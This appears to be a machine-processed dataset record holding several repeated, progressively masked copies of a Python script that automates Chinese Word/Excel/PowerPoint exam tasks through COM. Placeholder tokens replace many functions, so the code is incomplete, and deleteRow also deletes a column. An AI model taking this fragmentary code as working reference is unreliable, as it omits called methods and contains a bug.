print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n <function token>\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n <function token>\n <function token>\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n <function token>\n <function token>\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n <function token>\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n <function token>\n <function token>\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n 